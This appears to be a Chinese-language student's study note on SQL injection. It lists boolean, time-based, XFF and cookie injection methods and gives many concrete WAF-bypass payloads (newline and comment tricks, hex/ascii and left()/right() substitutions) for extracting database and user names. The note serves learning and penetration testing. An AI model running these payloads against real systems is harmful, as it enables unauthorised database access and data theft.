SQL注入作业2

185 阅读3分钟
access注入:
    使用exists爆破表名 and exists(select * from admin)      //字典爆破表明
	
sql注入报告:
    'or+1='1 
    问题1:永恒之白,猜测拦截字符:空格、or、=
        尝试替代方案:
            回车代替空格
            验证or没被拦截,=被拦截了
            使用<>、!=、like、alike、regexp等进行替换。POC: k=1'or+'a'like'a
            但是POC: k=1'or+'a'like'a 和 POC: k=1'or+'a'like'b 得到的Content-Length都相同。
    问题2:or后面真假表达式结果相同
        使用xor,and来替换,结果Content-Length都相同
        怀疑是空格引起的,使用%0a、/*/
        POC: k=1'or%0a'a'like'a,和 POC: k=1'or%0a'a'like'b 得到的Content-Length不同。===》拿到轮子
        爆破user(),database()
        POC: k=1'or%0auser()like'a,结果又是永恒之白。user()、database()、hostname、version同样
    问题3:user()、database()、hostname、version永恒之白
        怀疑:user、database等字符被拦截了
        验证:Poc: 1'or%0a'user'%0alike'b,出现回显,没有被过滤
        怀疑:()被拦截了
        验证:Poc:1'or%0a'()'%0alike'b    单引号内使用括号也能拿到回显,说明对()也不会拦截  
        怀疑:user()连在一起被拦截了
        尝试绕过:
            1.在user和()之间添加/*ljzf*/  、 /!Ljzf*/ 、%0a。
            不行
        经过上面发现user就是用户名,尝试不要(),使用_代替一个字符,逐字爆破。
        爆破注意点:1.添加大小写字母,数据库对大小写敏感。2.爆破线程不能太高,可能被版
		
sql注入联合注入:缺少猜字段名的步骤,字符型漏洞
                --》验证是否存在注入点---》确定表列数--》确定回显位
                --》爆破数据库名、用户名
                界面上没变化的,需要抓包
				
SQL注入-盲注:
		asp的access数据库使用db_name()代替user()
		%0auser%0a%0alike'aa%						//like后面为什么不加空格?like'aa%是匹配aa开头的用户名吗?
		

XFF注入:伪造ip注入
	跟普通SQL注入思路同
	
	输出结果是否呈现周期变化,验证后台是否对单引号进行了过滤。
	/三个、四个、…,呈现周期性的变化,说明此时后端数据库可直接识别用户输入的单引号(程序未对用户输入的数据进行过滤、或过滤不严
	导致用户数据被后端数据库当作代码执行)。


记一次SQL注入#3:
	永恒之白,
		
		like被过滤了: 尝试浮点数形式                		//这个啥意思?
		<> != >= <= > < rlike被过滤了
		单引号,双引号被过滤了:使用ascii,hex代替。if(1.=ascii(2)),1,0) if(1=hex(2),1,0)
		用户名、数据库名、版本信息等被过滤,发现shema()可用
		substr、mid函数被过滤:使用left,right函数     poc: 2/if(68.=hex(left(schema(),1)),1,0)
		//再来,部分函数(多看官方文档)
				
				
记一次渗透测试#H1某目标SQL注入:
	cookie注入
	
	
绕过正则SQL注入:
	注释+换行的形式绕过。 POC: commonUserName=123'or--+777777777777%0a1='1
						  POC: commonUserName=123'or--+777777777777%0aUSER%0alike'A%
    
时间注入:
		sleep+ascii 来爆破
		
		
		
一次SQL注入深入利用:
	报错注入+联合注入+md5破解
	
一点点绕过:
	user()被挡:if(user%0a()=1,1,1)用换行符%0a将user和()分开,成功绕过waf
	if(left(user%0a(),1)='h',1,0) 进行字母爆破
	
	
总结:
	1.对于被拦截的情况,要善于用其他方式绕过。比如"回车代替空格", "substr、mid使用left,right代替"
	2.多种注入相互配合使用,比如联合注入、报错注入、布尔注入等
	3.多看别人的案例,学习经验总结才能更好的打开思路
	4.遇到问题,要耐心,发散思维